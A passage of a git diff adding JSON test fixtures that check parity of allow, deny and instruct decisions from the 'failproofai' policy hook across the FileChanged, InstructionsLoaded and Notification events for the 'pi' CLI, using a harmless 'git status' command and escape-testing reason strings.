+ "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a8f74da5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..02e2dd36 --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d3f733e5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c29918e9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..19ab26c6 --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f025904d --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..497c4eb9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..7aec5c23 --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..7b41bc87 --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..1a6f61eb --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..74d68edf --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6ed45cc8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ef985cdb --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..491d9f79 --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..30a9b6ff --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..21e20d4f --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..8ea428ef --- /dev/null +++ b/__tests__/parity/fixtures/pi/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..de258825 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + 